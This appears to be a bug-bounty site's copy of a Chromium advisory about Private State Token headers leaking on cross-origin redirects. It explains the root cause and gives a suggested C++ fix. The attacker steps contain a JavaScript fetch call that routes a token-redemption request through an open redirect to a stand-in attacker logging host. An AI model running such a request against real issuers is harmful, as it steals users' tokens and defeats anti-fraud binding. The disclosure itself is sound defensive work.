Skip to content
Info disclosure Advisory Advanced CVE-2026-121099

Information leak in PrivateTokens (CVE-2026-121099)

The Private State Token implementation fails to strip sensitive Trust Token headers during cross-origin redirects, allowing an attacker to steal unblinded tokens via an open redirect. The attacker can replay the stolen token to obtain a Redemption Record for their own domain, bypassing anti-fraud origin-binding.

Google Chrome

Originally disclosed on Chrome VRP

  • Fix shipped in 7 months

Project Fortify, an experimental security project, has identified the following potential security issue. If you're a feature owner CC-ed on this bug, please do your best to review these reports without the Chrome Security team.

Overview: The Private State Token (PST) implementation potentially leaks sensitive security headers (Sec-Private-State-Token, Sec-Redemption-Record) during cross-origin redirects. The network service's header stripping logic only targets sec-ch- and sec-fetch- prefixes, allowing Trust Token headers to persist when following a redirect. An attacker could exploit an open redirect on an issuer's domain to steal unblinded bearer tokens and bypass anti-fraud mechanisms.

Affected files:

  • services/network/sec_header_helpers.cc
  • services/network/url_loader.cc
  • services/network/cors/cors_url_loader.cc
  • services/network/trust_tokens/trust_token_request_redemption_helper.cc
  • services/network/trust_tokens/trust_token_request_signing_helper.cc
  • services/network/trust_tokens/trust_token_client_data_canonicalization.cc
  • third_party/boringssl/src/crypto/trust_token/trust_token.cc

Estimated timestamp from git blame: 2024-11-25

Summary

There is a potential information leak in the Private State Token (PST) network implementation where sensitive Trust Token headers are not stripped during cross-origin redirects. In no-cors mode, this allows an attacker leveraging an open redirect on an enrolled issuer's domain to steal unblinded PST tokens. Because the unblinded token acts as a bearer credential that is not cryptographically bound to the victim's top-level origin by the issuer, the attacker can replay it to obtain a Redemption Record for their own domain.

Technical Details

When a PST redemption operation is initiated, the TrustTokenUrlLoaderInterceptor intercepts the request. TrustTokenRequestRedemptionHelper::Begin generates the cryptographic payload and assigns it to the Sec-Private-State-Token header, which is added to the underlying net::URLRequest's extra headers. Immediately after, the token is permanently deleted from the user's local TrustTokenStore (services/network/trust_tokens/trust_token_request_redemption_helper.cc:193).

If the server responds with a redirect, URLLoader::FollowRedirect is eventually invoked. To prevent security header leakage, it calls MaybeRemoveSecHeaders (services/network/sec_header_helpers.cc). However, MaybeRemoveSecHeaders only strips headers that begin with sec-ch- or sec-fetch- (case-insensitive).

Because Sec-Private-State-Token and Sec-Redemption-Record do not match these specific prefixes, they are ignored. The net::URLRequest persists its extra_request_headers_ across redirects, causing the highly sensitive PST headers to be sent to the redirect destination.

Furthermore, the unblinded token contained within Sec-Private-State-Token is a bearer credential. The client_data (which contains the victim's redeeming-origin) is serialized alongside the token, but it is not cryptographically covered by the token's signature (verified via BoringSSL's TRUST_TOKEN_CLIENT_begin_redemption implementation). Therefore, an attacker who extracts the token can construct a new redemption request with arbitrary client_data.

Potential Attacker Steps

(Note: These are potential steps to trigger the vulnerability; a live working proof-of-concept has not been executed by our tooling.)

  1. Setup: The attacker identifies an enrolled PST issuer (issuer.example) that has an open redirect vulnerability (e.g., https://issuer.example/redirect?to=https://attacker-logger.example).
  2. Trigger: The attacker hosts a malicious webpage (attacker.example) which the victim visits. The webpage executes a fetch request targeting the open redirect:
    JavaScript
    fetch('https://issuer.example/redirect?to=https://attacker-logger.example', {
      mode: 'no-cors',
      privateToken: { version: 1, operation: 'token-redemption' }
    });
    
  3. Header Generation: The browser initiates the redemption, deletes the victim's token locally, attaches the Sec-Private-State-Token header, and sends the request to issuer.example.
  4. Cross-Origin Leak: issuer.example responds with a redirect to attacker-logger.example. The browser follows the redirect, failing to strip the Sec-Private-State-Token header, and sends it to the attacker's server.
  5. Theft & Bypass: The attacker's server logs the unblinded token. The attacker extracts it, constructs a new redemption request setting redeeming-origin to attacker.example, and replays it to issuer.example. The attacker successfully obtains a Redemption Record for their own domain, bypassing PST origin-binding anti-fraud mechanisms.

Suggested Fix

Update the header stripping logic to explicitly handle Trust Token headers during redirects.

In services/network/sec_header_helpers.cc within MaybeRemoveSecHeaders, modify the prefix check to also include sec-private-state-token and sec-redemption-record:

C++
if (StartsWith(header.key, "sec-ch-", base::CompareCase::INSENSITIVE_ASCII) ||
    StartsWith(header.key, "sec-fetch-", base::CompareCase::INSENSITIVE_ASCII) ||
    StartsWith(header.key, "sec-private-state-token", base::CompareCase::INSENSITIVE_ASCII) ||
    StartsWith(header.key, "sec-redemption-record", base::CompareCase::INSENSITIVE_ASCII)) {
  request.RemoveRequestHeaderByName(header.key);
}

Alternatively, URLLoader::OnReceivedRedirect could explicitly remove these specific Trust Token headers prior to following the redirect if the origin has changed.

Evaluated with Chrome root at commit: 096fc8fdbfacf2546485756d03f160a3d04fcc9b


Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

The original report as published on the Chromium issue tracker. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The header stripping function only removes headers starting with 'sec-ch-' or 'sec-fetch-', so Trust Token headers like 'Sec-Private-State-Token' are not removed on cross-origin redirects.

Impact

An attacker could steal unblinded PST tokens and replay them to obtain Redemption Records for their own domain, bypassing anti-fraud mechanisms; the report notes a live proof-of-concept has not been executed.

What the attacker needed

Victim visits attacker's webpage; issuer has an open redirect; attacker controls redirect destination

The fix

The header stripping logic should be updated to also remove headers starting with 'sec-private-state-token' and 'sec-redemption-record' during redirects.

How it was found

  1. Attacker identifies an enrolled PST issuer with an open redirect.
  2. Attacker hosts a malicious page that sends a fetch request with privateToken redemption to the open redirect URL.
  3. Browser generates the token, deletes it locally, and attaches the Sec-Private-State-Token header.
  4. Issuer responds with a redirect to the attacker's server.
  5. Browser follows the redirect without stripping the header, sending the token to the attacker.
  6. Attacker logs the token, replays it with a new redeeming-origin to obtain a Redemption Record for their domain.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Private State Tokens are a way for websites to check if a visitor is trustworthy without tracking them. This report found that when a website redirects a request to another site, the browser accidentally includes a secret token in the request headers. An attacker who controls the redirect destination can capture that token and reuse it to pretend to be the victim, defeating the anti-fraud protection.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.